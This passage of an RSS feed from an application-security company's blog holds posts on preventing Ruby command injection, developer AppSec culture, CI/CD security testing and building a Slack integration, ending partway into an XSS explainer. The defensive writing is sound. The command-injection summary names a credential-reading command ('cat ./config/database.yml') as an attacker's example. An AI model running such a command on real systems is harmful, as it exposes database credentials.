&lt;/p&gt;&lt;p&gt;&lt;code&gt;IMAGE_SIZE = /\A\d*x\d*[&amp;gt;&amp;lt;%^!]?\z|\A\d+@\z/ #e.g. &amp;#39;2000x1000!&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;stderr, stdout&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;When executing operating system commands from Ruby, you probably need to get the &lt;a href=&quot;https://en.wikipedia.org/wiki/Standard_streams#:~:text=In%20computer%20programming%2C%20standard%20streams,and%20standard%20error%20(stderr).&quot;&gt;&lt;b&gt;stdout&lt;/b&gt; and &lt;b&gt;stderr&lt;/b&gt; streams&lt;/a&gt; from that command. This created a little bit of a problem when using the above command injection prevention methods. Simply specifying &lt;b&gt;“2&amp;amp;&amp;gt;1”&lt;/b&gt; as another string in the list for &lt;code&gt;&lt;b&gt;system()&lt;/b&gt;&lt;/code&gt; method won’t work. If you need that functionality, you can use Ruby’s &lt;a href=&quot;https://ruby-doc.org/stdlib-2.6.1/libdoc/open3/rdoc/Open3.html&quot;&gt;Open3&lt;/a&gt; module, specifically its &lt;b&gt;&lt;code&gt;capture&lt;/code&gt;&lt;/b&gt; methods. So your command would look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Open3.capture2e(&amp;quot;ls&amp;quot;, &amp;quot;params[:project_name]&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now you know how to prevent command injection in Ruby. You should be aware that with other vulnerabilities like &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;cross-site scripting&lt;/a&gt; (XSS) or SQL injection, the attacker has limited possibilities. Of course, SQL injection, for example, is still pretty serious. It can allow an attacker to download all your users’ data and then (possibly) delete the database.&lt;/p&gt;&lt;p&gt;But with command injection vulnerabilities, attackers don’t even need to look for a SQL vulnerability. They can simply execute &lt;b&gt;cat ./config/database.yml&lt;/b&gt; and get credentials to your database. So, while command injection is less common these days, it gives almost unlimited possibilities.&lt;/p&gt;&lt;p&gt;Fortunately, as you could see in this post, one of the most destructive vulnerabilities can be avoided pretty easily. In most cases, all you need to do is to split the command into separate strings. Nowadays, executing operating system commands from Rails should also be easily avoidable. There are many Rails modules and gems that you should be able to use instead and achieve the same results. If you want to learn more about command injection, you can read about it here. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Dawid Ziolkowski.&lt;/i&gt; &lt;a href=&quot;https://medium.com/@dawid.ziolkowski&quot;&gt;&lt;i&gt;Dawid&lt;/i&gt;&lt;/a&gt; &lt;i&gt;has 10 years of experience as a Network/System Engineer at the beginning, DevOps in between, Cloud Native Engineer recently. He’s worked for an IT outsourcing company, a research institute, telco, a hosting company, and a consultancy company, so he’s gathered a lot of knowledge from different perspectives. Nowadays he’s helping companies move to cloud and/or redesign their infrastructure for a more Cloud Native approach.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Three Reasons Developers Struggle with AppSec (and How to Make it Easier)]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/three-reasons-developers-struggle-with-appsec</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;This doesn’t happen to every CISO, but the vast majority struggle to successfully integrate AppSec into the developer workflow without causing friction. There are simply too many antiquated, siloed security concepts and too much security-focused tooling for anything else to be the outcome. Let’s break down why these seemingly good ideas end up causing chaos and confusion for developers.&lt;/p&gt;&lt;h3&gt;Making Developers Learn the Language of Security&lt;/h3&gt;&lt;p&gt;Training developers on AppSec may seem like the right idea, but in execution, developers will struggle with misaligned incentives and murky translation from concepts into results.  &lt;/p&gt;&lt;p&gt;Integrating security into the developer work style – aka the &lt;i&gt;get features out the door&lt;/i&gt; work style – is swimming against the current. &lt;a href=&quot;https://www.securityinnovationeurope.com/blog/page/software-developer-security-training-mistakes&quot;&gt;Security training for developers&lt;/a&gt; often involves confusing new terminology and concepts alongside inarguably horrible tools, whether commercial or open source, that take months to learn how to use. &lt;/p&gt;&lt;p&gt;Further, teams frequently choose their highest performing developers to attend security training. Though this seems to be a good move on its face, most often these are the team members that need the training the &lt;i&gt;least&lt;/i&gt;, since they have the &lt;i&gt;most&lt;/i&gt; experience. Developers return from training and are expected to teach junior developers what they have learned. With a topic as big and difficult to master as AppSec, this is the equivalent of a game of telephone with Shakespeare’s &lt;i&gt;Hamlet&lt;/i&gt; as the starting message.&lt;/p&gt;&lt;p&gt;I liken this to when company execs ask the accounting team for finance metrics: you don’t see accountants sending executives links about how the general ledger works. Instead, they send tools and data that present a clear picture of the company finances so executives can make informed decisions. &lt;/p&gt;&lt;p&gt;Luckily, companies in the security space are starting to emerge that focus on providing developers with tooling to make these informed decisions. For example, &lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk has a toolchain-native integration&lt;/a&gt; that keeps developers updated on out-of-date or vulnerable packages in their apps.&lt;/p&gt;&lt;p&gt;A useful extension of this tooling might be one able to assess if a developer is actually using one of those libraries in such a way that exposes the vulnerability.&lt;/p&gt;&lt;h3&gt;We Broke Your Thing! Doesn’t That Make You Feel Great? Because We’re Super Excited!&lt;/h3&gt;&lt;p&gt;The relationship between the security team and other departments is historically adversarial. Some security teams avoid this, but for most, there is an undercurrent of &lt;a href=&quot;https://www.csoonline.com/article/3434520/5-signs-your-security-culture-is-toxic-and-5-ways-to-fix-it.html&quot;&gt;the &lt;i&gt;Culture of No&lt;/i&gt;&lt;/a&gt;. The belief, misplaced or otherwise, that security is holding back the organization from achieving goals is pervasive, and our behavior as an industry is not helping to repair that relationship. There are a couple of things that exacerbate this feeling:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Security teams &lt;a href=&quot;https://resources.infosecinstitute.com/what-are-black-box-grey-box-and-white-box-penetration-testing/#gref&quot;&gt;black box pentesting&lt;/a&gt; and don’t ask developers what they’re most concerned about or where they can provide the most value.   &lt;/p&gt;&lt;p&gt;(&lt;i&gt;side note: I’ll talk about the jacked up procurement process that actually favors minimal findings vs. robust AppSec programs another day)&lt;/i&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Security teams are SUPER EXCITED to find issues. They should be, because that means they have done their job. But at times, the excitement means they forget that not everyone shares their enthusiasm. Their findings mean a lot of work for someone else.   &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;When security teams find bugs, they throw them over the Jira wall and hope someone (you, the developer) takes the time to fix them…despite the fact that your teams entire focus is feature &lt;i&gt;delivery&lt;/i&gt;, not security improvements.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;While this may sound harsh, it’s a judgement-free reality to how security teams can be perceived from the outside. Developers that are aware of this ahead of time can use the insider knowledge to more easily identify with and connect to security teams.&lt;/p&gt;&lt;h3&gt;We Found a Billion Vulnerabilities! We Have to Fix Them All Now!&lt;/h3&gt;&lt;p&gt;The value of existing security tools is predicated on their &lt;i&gt;ability to find vulnerabilities&lt;/i&gt;. While this can make for a good tool, it can also make for a nonsensical alert machine. Consider a QA engineer that creates 1,000 tickets for “bugs” that are unlikely to degrade user experience. Is she doing her job well?&lt;/p&gt;&lt;p&gt;Security teams can get lost in tallying the number of vulnerabilities they can find. Though security teams may wish to find more bugs, it is more important to consider the context in which these vulnerabilities are found, how they are communicated to developers, and how they can make the application more secure. &lt;a href=&quot;https://www.signalsciences.com/blog/finding-more-bugs-wont-fix-appsec/&quot;&gt;All of these components are crucial&lt;/a&gt; for developers to efficiently identify and prioritize vulnerability fixes based on their impact to the bottom line.&lt;/p&gt;&lt;p&gt;Compounding this issue, when security teams find vulnerabilities, they are commonly only found after the app is put into production. This forces developers into an expensive trade-off between bug fixes and new feature development long after they have moved on to something else. &lt;/p&gt;&lt;p&gt;To efficiently resolve vulnerabilities, developers need to be able to prioritize them based on what they impact and how big the impact will be. They need to combine insights about the vulnerabilities with information like how valuable the app or feature is to the organization and what kind of sensitive data the app handles. This is information that developers &lt;b&gt;are responsible for and hold already as they develop new features.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Which makes me wonder, if developers are able to find AppSec bugs while they are writing the code, can they simultaneously understand the impact of the vulnerability in the app? In reality, they should be able to immediately fix, defer, or backlog the bug, and streamline the process in an informed way. Developers already do this with bugs EVERY DAY…the bugs have just never had the AppSec label.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Why are we building StackHawk?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A dev-native AppSec tool that easily integrates into the development process should be table stakes in the industry, but it isn’t. Developers need a tool that is integrated into the build pipeline and helps them write bug-free code from day one. Find issues &lt;i&gt;before&lt;/i&gt; your code is pushed to production. Just like you shouldn’t wait to run the linter for the first time two months after the code is released to production, you shouldn’t be testing for security bugs then either. Code quality is code quality.&lt;/p&gt;&lt;p&gt;At StackHawk, we believe in speaking the developer language and pointing to fixes that make a difference. Developers shouldn’t have to fix every AppSec bug that comes up; there is an opportunity cost associated with risk that needs to be taken into account when making fixes. More importantly, developers shouldn’t have to wait to find and fix bugs until the eleventh hour. Make AppSec seamless. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Closing Thoughts&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;My time working in the security industry with developers has shown me time and again that, in order to succeed at AppSec, we need to replace work in isolation with work that is easily integrated into the development processes and evaluated on a regular basis.&lt;/p&gt;&lt;p&gt;Developers should own AppSec because they truly own code quality. Tell your security team that you and other developers can work on the easy parts of AppSec. Initiate a conversation with the security team, instead of the other way around. Security is a joint responsibility, and a feature should not be considered done unless security has been taken into account. If you can work with the security team such that it benefits both teams, you’ll find the whole process becomes a lot easier. In fact, the security team may even buy you a taco or two for it!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to Add Application Security Tests to Your CI/CD Pipeline]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-to-automate-appsec-testing-in-cicd</guid><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;Application security (AppSec) risks are well known. &lt;a href=&quot;https://www.forrester.com/report/The+State+Of+Application+Security+2020/-/E-RES159057#&quot;&gt;Forrester research&lt;/a&gt; found that applications are the leading attack vector in security breaches. To help reduce risk, leading organizations have begun to shift security left by adding automated AppSec testing to CI/CD.&lt;/p&gt;&lt;p&gt;This shift is helping! &lt;a href=&quot;https://www.veracode.com/press-release/veracode-state-software-security-half-application-security-flaws-remain-open-six&quot;&gt;Veracode found&lt;/a&gt; that teams using a combination of automated security scan types including static analysis (SAST), dynamic analysis (DAST), and software composition analysis (SCA) improve fix rates for security vulnerabilities. &lt;/p&gt;&lt;p&gt;But if you are new to the idea of DevSecOps or are trying to figure out how to put application security testing into your CI/CD pipeline you may be feeling lost as to where to begin. &lt;/p&gt;&lt;p&gt;So, we have put together a quick how-to guide for introducing Application Security testing into your CI/CD lifecycle.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Start with One App&lt;/h3&gt;&lt;p&gt;There are both &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-is-broken/&quot;&gt;cultural and technical barriers&lt;/a&gt; that prevent engineering teams and security teams from working together efficiently. &lt;/p&gt;&lt;p&gt;Often, engineers see security as “The Department of No” while security teams see engineers as reckless. These preconceived perceptions prevent the two groups from working together effectively. &lt;/p&gt;&lt;p&gt;When it comes to inserting application security into the CI/CD pipeline, developers face a huge knowledge gap since most security tools on the market are made for security teams and pen testers. &lt;/p&gt;&lt;p&gt;That is a lot of inertia to overcome if you are a developer looking to start searching for application security bugs as part of the development process. &lt;/p&gt;&lt;p&gt;So we recommend making this process as simple as possible by starting with a single app or service in your pipeline. There will be plenty of time to build upon the momentum and start testing other applications and services once you have a strong foundation in place. &lt;/p&gt;&lt;h3&gt;Step 1: Secrets Detection&lt;/h3&gt;&lt;p&gt;Once you have your app or service selected, the best first step is to implement secrets detection. Secrets detection is a tool that allows you to test for sensitive information like keys, API tokens or passwords living in your repo. &lt;/p&gt;&lt;p&gt;Secrets can be an easily exploitable point of weakness in otherwise secure code so it is of the utmost importance that you safely store your private information and only inject them at runtime. The amount of time and effort it takes an Engineering/Ops team to rotate secrets if they are disclosed is measured in days, not hours. Tools from Git Guardian, GitLab and Knightfall allow you to scan for unintentional exposure of secrets with every pull request. &lt;/p&gt;&lt;p&gt;In the event that your secrets are deployed in your repo and identified by a secrets detection tool, you can use secrets management tools like &lt;a href=&quot;https://1password.com/&quot;&gt;SecretHub&lt;/a&gt; or &lt;a href=&quot;https://www.vaultproject.io/&quot;&gt;HashiCorp Vault&lt;/a&gt; to help keep your code more secure in the future. Almost every CI/CD platform has some type of secrets management system built in. Refer to your CI/CD provider for best options. &lt;/p&gt;&lt;h3&gt;Step 2: Software Composition Analysis (SCA)&lt;/h3&gt;&lt;p&gt;Once secrets management is in place, the next step is to begin investing in Software Composition Analysis (SCA) tools to identify vulnerabilities in your open source dependencies.&lt;/p&gt;&lt;p&gt;SCA tools work by &lt;a href=&quot;https://www.csoonline.com/article/3204884/what-is-cve-its-definition-and-purpose.html#:~:text=CVE%20stands%20for%20Common%20Vulnerabilities%20and%20Exposures.&amp;text=The%20dictionary&apos;s%20main%20purpose%20is,multiple%20CVE%2Dcompatible%20information%20sources.&quot;&gt;looking for common vulnerabilities&lt;/a&gt; and exploits, or &lt;a href=&quot;https://cve.mitre.org/&quot;&gt;CVE&lt;/a&gt;. Open source data vulnerabilities are reported to and cataloged by a nonprofit called MITRE (thank goodness there is another acronym) and catalogued into the free CVE database. The strength of MITRE comes in that it standardizes the way vulnerabilities are identified. &lt;/p&gt;&lt;p&gt;By comparing the open source code versions that you are running against the CVE database, SCA tools help prevent you from deploying exploitable code into production. &lt;/p&gt;&lt;p&gt;SCA is a relatively new category of AppSec and the tools tend to be built with the end user developers in mind. Known players in the space include &lt;a href=&quot;https://fossa.com/&quot;&gt;FOSSA&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/&quot;&gt;Snyk&lt;/a&gt; and &lt;a href=&quot;https://dependabot.com/&quot;&gt;Dependabot&lt;/a&gt; which all have CI/CD integrations that make it simple to manage open source code before applications go live. &lt;/p&gt;&lt;p&gt;The only drawback of SCA tools is that they can identify vulnerabilities that aren’t exposed in your given service or application, and therefore aren’t relevant to you. In the case that you are only using a small subset of an open source library that isn’t exposing the known vulnerabilities, the SCA scanner will still tell you an update is required because it has no visibility into your specific application. Further, SCA tools don’t test code that was written internally, only the libraries used to build the application. &lt;/p&gt;&lt;h3&gt;Step 3: Dynamic Application Security Testing (DAST)&lt;/h3&gt;&lt;p&gt;If you have roots in security, you are likely familiar with DAST. If you are a developer, you have probably never used a DAST tool. There’s a reason for that – these tools can be incredibly complicated and have historically been difficult to configure in an automated fashion. &lt;/p&gt;&lt;p&gt;DAST scanners look at the running services behind an application. These tools work by actively trying to exploit a running service and capture evidence that it has found vulnerabilities introduced by you or your team. This allows you to overcome the nuances of your specific service that SCA tools can miss. &lt;/p&gt;&lt;p&gt;By scanning API driven services as they would live in production, you get a much better view into which vulnerabilities are exposed in your specific environment.&lt;/p&gt;&lt;p&gt;DAST tools have most commonly been used by pen testers to find vulnerabilities in applications once they are live. &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-is-broken/&quot;&gt;There are a lot of problems&lt;/a&gt; with how DAST scanners have been used in the past. The first being that they only find vulnerabilities once they are live in production. Another being the tools typically find value in the number of findings, not helping organizations prioritize and fix the right findings. And lastly, there is a lengthy process required to fix problems once they are found. &lt;/p&gt;&lt;p&gt;More recently, there has been a shift to developer-friendly DAST solutions that don’t require a security background to run and operate. This allows the tools to be integrated into the CI/CD pipelines and be part of automated testing. &lt;/p&gt;&lt;p&gt;By modernizing the DAST scanners, AppSec tests can be run locally on a service that is in development. This gives you as a developer the power to find vulnerabilities in your applications before they are pushed into production so you can avoid security incidents.&lt;/p&gt;&lt;p&gt;Modern DAST tools come in both open source and proprietary flavors with scanners like OWASP ZAP and the one we are building here at &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;StackHawk&lt;/a&gt;. Proprietary tools come with benefits like simplified integrations into the CI/CD pipeline, &lt;a href=&quot;https://www.stackhawk.com/blog/appsec-findings-management/&quot;&gt;findings management&lt;/a&gt;, and workflow tools. &lt;/p&gt;&lt;h4&gt;DAST v SAST&lt;/h4&gt;&lt;p&gt;Unlike DAST, Static Analysis Security Testing (SAST) looks at the source code for your specific application. According to &lt;a href=&quot;https://www.gartner.com/en/information-technology/glossary/static-application-security-testing-sast&quot;&gt;Gartner&lt;/a&gt;, SAST looks at coding and design conditions that are indicative of security vulnerabilities. Essentially these tools compare source code to a predetermined set of rules that define the parameters for vulnerabilities. &lt;/p&gt;&lt;p&gt;While these tools can be helpful, they do come with drawbacks for users.&lt;/p&gt;&lt;p&gt;The most notorious flaw in SAST tools is false positives or noise of things that are not risks. Because SAST tools only look at your code at rest as opposed to how the application or service actually runs, they are prone to noisy findings. This causes developer frustration and wasted time as developers try to figure out what truly is a vulnerability and what isn’t. &lt;/p&gt;&lt;p&gt;In that same vein, SAST tools are unable to prioritize findings so you know where to focus first. Since the scan is comparing your code to a set of rules, there is no way for the tool to know what is a huge, critical vulnerability and what is a lower priority finding. The outputs of SAST scans are essentially binary findings. &lt;/p&gt;&lt;p&gt;All of this equates to teams and developers spending too much time trying to remediate code problems when they could be working on pushing out features. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Shipping More Secure Code&lt;/h3&gt;&lt;p&gt;Automating AppSec testing in CI/CD is an absolute necessity for shipping more secure code. By testing an application or services before they are pushed into production you get the dual benefit of secure code and a more efficient development process. Breaking builds before they go live means developers can fix bugs while they are writing code and resolve them faster. &lt;/p&gt;&lt;p&gt;Best of all, these modern AppSec technologies can be implemented into your CI/CD pipeline quickly. At StackHawk our average time to run your first scan on your first application is about 20 minutes. Modern SCA tools have similar lead times. &lt;/p&gt;&lt;p&gt;Within an hour, you can start getting true visibility into the applications you are building and start shipping secure code faster. &lt;/p&gt;&lt;p&gt;If you are looking for more help automating AppSec in CI/CD checkout &lt;a href=&quot;https://www.brighttalk.com/webcast/17752/447423?utm_source=StackHawk&amp;utm_medium=brighttalk&amp;utm_campaign=Appsecwebinar&quot;&gt;our webinar&lt;/a&gt; with CircleCi, FOSSA and SecretHub.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How We Built the StackHawk Slack App]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-we-built-the-stackhawk-slack-app</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Sam Volin]]></dc:creator><content:encoded>&lt;p&gt;We know Slack is an essential tool for streamlining developer workflows and making communication across the team easy which is why we make it simple to &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/slack.html&quot;&gt;integrate StackHawk with your Slack workspace&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;We wanted to share how we built the integration so other teams looking to do the same can learn from our experience. &lt;/p&gt;&lt;p&gt;Here we will walk through how we structured our production Slack app, the development process of building out our integration, and the security concerns we identified as we developed our app integration.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Know Before You Go: Pick Your Slack App Type&lt;/h3&gt;&lt;p&gt;The first step in building a Slack integration is to create &lt;a href=&quot;https://api.slack.com/apps&quot;&gt;a new Slack App for your workspace&lt;/a&gt;. A Slack app is just a container for operations your Slack integration will perform, with resources to make that integration come alive. A Slack app is defined to be in varying stages of distribution, which include:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Not Distributed&lt;/b&gt;: The app can only be installed in your Slack workspace. All new Slack apps start in this state.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Distribution Activated&lt;/b&gt;: The app can be installed in other workspaces. It must have a redirect URL assigned that starts with &lt;code&gt;https://&lt;/code&gt;, alongside other configuration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Submitted to App Directory&lt;/b&gt;: The app is being reviewed by Slack for submission to the app directory. Making changes to your app’s configuration is discouraged at this point. You have to jump through a lot of hoops and fill out all required fields to get to this state.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Starting with a “Not Distributed” app will let you dip your toes into Slack’s application ecosystem without having to do all the legwork expected of a fully distributed “Submitted to App Directory” Slack app.&lt;/p&gt;&lt;h3&gt;Simple Slack Apps with Incoming Webhooks&lt;/h3&gt;&lt;p&gt;No matter which level of distribution you choose, the most intuitive way to get started is with Slack’s &lt;a href=&quot;https://api.slack.com/messaging/webhooks&quot;&gt;incoming webhooks support&lt;/a&gt;. A Slack webhook is just a unique URL that is designed to post messages to the specific Slack channel you designate.&lt;/p&gt;&lt;h4&gt;Getting Going with Webhooks&lt;/h4&gt;&lt;p&gt;Once you have created your new Slack app, you can assign permissions and functionality to the application, including webhooks. Go to the &lt;code&gt;Incoming Webhooks&lt;/code&gt; tab and enable this functionality. From there, you can choose a channel within your Slack workspace, and that will create the unique webhook URI that you can post to.&lt;/p&gt;&lt;p&gt;To send messages with the webhook, simply make &lt;code&gt;POST&lt;/code&gt; request to that URL, providing a JSON message body with the desired payload you want to send. We can demonstrate this with a cURL command:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Messages sent in the text payload can include markdown formatting and even emojis using Slack’s colon syntax. This is a simple approach to create rich-text messages that will stand out. More advanced message payloads can be prepared and employed using Slacks Block Kit builder, which we will get into shortly.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The webhook URI can be used in automation scripts for your build processes. As long as you have the capacity to run a shell script and make outbound web requests, you can send messages to your internal Slack channels with ease.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;‼️ Security Concern&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Webhooks are technically secrets, and they will need to be stored alongside other sensitive strings for your application. You do not want to hard-code this URL and you especially should not commit a live webhook URL to source control. We recommend using AWS Parameter Store or a similar tool of your choosing to store your internal webhook as a SecureString.&lt;/p&gt;&lt;h3&gt;Advanced Messages with Block Kit&lt;/h3&gt;&lt;p&gt;Webhooks are intentionally tied to the workspace and channel they post to, and they can’t leverage the full power of Slack’s API. At StackHawk, we used incoming webhooks to get going with internal build notifications. As we went on to build a more sophisticated Slack app to submit to the App Directory we had to pivot our strategy to something more sophisticated due to usability concerns and security challenges.&lt;/p&gt;&lt;p&gt;We knew we were ready to zhuzh up our notifications with the full power of Slack’s messaging API. This is where &lt;a href=&quot;https://api.slack.com/block-kit&quot;&gt;Slack’s Block Kit builder&lt;/a&gt; comes into play.&lt;/p&gt;&lt;p&gt;The Slack Block Kit is a framework to help structure and plan out complex messages sent by an application backend, and preview those messages in Desktop or Mobile viewports. The Slack Block Kit framework is just a fancy and consistent mechanism of building complex dialogs in nested JSON objects. These JSON objects define a consistent structure and pattern for inputs to enable rich formatting and user interactivity. Slack has strong &lt;a href=&quot;https://api.slack.com/reference/block-kit/blocks&quot;&gt;reference documentation&lt;/a&gt; on these.&lt;/p&gt;&lt;h4&gt;The Good: Block Kit Builder and Slack SDK&lt;/h4&gt;&lt;p&gt;Example messages built in the Block Kit builder show the corresponding JSON in the right panel, and can be shared by their URL which contains the full JSON payload escaped as query parameters. This quality makes them conducive to sharing for feedback amongst a team. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once a message is shared with the URL, tweaks can be made by either party, and the functional result is available and saved. Once fully constructed, The JSON payload can then be copied and sent to a webhook with a cURL command. &lt;/p&gt;&lt;p&gt;Beyond just their Block Kit builder, Slack also provides SDKs to interact with their API in code. &lt;/p&gt;&lt;p&gt;These are language specific libraries that are conducive to working with complex Slack messages. At Stackhawk, we utilized the &lt;a href=&quot;https://github.com/slackapi/java-slack-sdk/&quot;&gt;Slack Java SDK&lt;/a&gt; to send our integration messages and retrieve workspace resources dynamically. Slack also maintains &lt;a href=&quot;https://github.com/slackapi/node-slack-sdk&quot;&gt;NodeJS&lt;/a&gt; and &lt;a href=&quot;https://github.com/SlackAPI/python-slackclient&quot;&gt;Python&lt;/a&gt; SDKs as well, alongside a long &lt;a href=&quot;https://api.slack.com/tools&quot;&gt;list of tools for working with their API&lt;/a&gt;. Depending on your backend technology stack, you should consider using these libraries for building out your Slack app’s messaging.&lt;/p&gt;&lt;h4&gt;The Bad: Attachments and Emojis&lt;/h4&gt;&lt;p&gt;As we developed our Slack app and prepared the messages we would send, we did discover some subtleties of the Slack API in development. While blocks are in, &lt;a href=&quot;https://api.slack.com/messaging/composing/layouts#attachments&quot;&gt;Slack attachments are out&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Slack attachments are identifiable by the colored vertical bar that wraps the attachment content. Slack is discouraging additional use of attachments because of uncertainty in message hierarchy. Attachments are meant to convey secondary, facultative content rather than primary information.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Example of Slack Attachment&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As we were first developing our Slack messages, we strongly considered using attachments (and even &lt;a href=&quot;https://github.com/slackapi/java-slack-sdk/issues/415&quot;&gt;found a bug&lt;/a&gt; related to attachments in the Java SDK!) to accommodate our original designs. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Initial Design of Slack Integration Using Attachments&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The reason Slack is moving away from attachments is because attachment content can be hidden, truncated or wrapped behind a “show more detail” context entirely at the Slack viewport’s discretion. Block content is meant to be the primary focus, and won’t be treated this way.&lt;/p&gt;&lt;p&gt;We also want to mention some difficulty in displaying inline images with our Slack content. The Block Kit builder has an image block specific for displaying content focused around a given image image, and images as left or right aligned content. But inline images alongside text to convey information have little support at the moment. Hosted images can be added to inline text within a context block, but this is not standard text objects.&lt;/p&gt;&lt;p&gt;The Slack recommended approach for inline images is to use emojis, and leverage the Slack workspace “custom emojis” that can be sent with the &lt;code&gt;:smiley:&lt;/code&gt; syntax. This approach works great for internal workspaces, where members will have full control over their workspace custom emojis. This approach wont work for production apps, however. There are currently no app scopes that allow for a Slack app to add emojis to a workspace (hint: it’s not &lt;a href=&quot;https://api.slack.com/scopes/admin.teams:write&quot;&gt;this one&lt;/a&gt;, or &lt;a href=&quot;https://api.slack.com/scopes/emoji:read&quot;&gt;this one&lt;/a&gt;, or &lt;a href=&quot;https://api.slack.com/scopes/reactions:write&quot;&gt;this one&lt;/a&gt;). This is a shame, as the inline custom emojis are an elegant solution that &lt;i&gt;just almost&lt;/i&gt; works, but can’t go the distance for your production app.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Use of an Emoji using the &lt;/i&gt;&lt;code&gt;&lt;i&gt;:emoji:&lt;/i&gt;&lt;/code&gt;&lt;i&gt; Syntax&lt;/i&gt;&lt;/p&gt;&lt;p&gt;These subtle nuances around inline images, customized workspace emojis and the transition to blocks led to a few cycles spent on redesigning our messages to accommodate Slack’s new preferred message structure.&lt;/p&gt;&lt;h4&gt;The Scopes: Picking your Privileges&lt;/h4&gt;&lt;p&gt;In order to leverage the Slack API to its full potential, you will want to pick out the right scopes for your application. Slacks &lt;a href=&quot;https://api.slack.com/scopes&quot;&gt;scopes table reference&lt;/a&gt; is comprehensive, and all over the place. It took a lot of studying and practice with scopes to find the right combination our app would need. In the end we picked these scopes for our desired functionality:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.slack.com/scopes/chat:write&quot;&gt;&lt;b&gt;chat:write&lt;/b&gt;&lt;/a&gt; and &lt;a href=&quot;https://api.slack.com/scopes/chat:write.public&quot;&gt;&lt;b&gt;chat:write.public&lt;/b&gt;&lt;/a&gt; to send messages to public channels&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.slack.com/scopes/channels:read&quot;&gt;&lt;b&gt;channels:read&lt;/b&gt;&lt;/a&gt; for listing public channels in the workspace&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.slack.com/scopes/groups:read&quot;&gt;&lt;b&gt;groups:read&lt;/b&gt;&lt;/a&gt; for private channel discovery and invitation&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.slack.com/scopes/team:read&quot;&gt;&lt;b&gt;team:read&lt;/b&gt;&lt;/a&gt; for retrieve workspace information&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Remember, scopes should only ever be additive. As you start to distribute your Slack app, don’t remove integrations from the app unless absolutely necessary.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Now Get Building!&lt;/h3&gt;&lt;p&gt;Slack’s tools for advanced messages suited us nicely. This shared tooling helped StackHawk’s engineers prototype faster with our designer. While still a little rough around the edges, we look forward to any improvements Slack can make to their Block Kit framework, and we recommend using it as part of the message prototyping phase of your application development.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[XSS Attacks: Types, Examples, Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-cross-site-scripting-xss</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Allie Mellen]]></dc:creator><content:encoded>&lt;h3&gt;What is XSS?&lt;/h3&gt;&lt;p&gt;Cross-site scripting is an attack performed on vulnerable web applications that manipulates the app to send malicious scripts to users. An attacker injects a 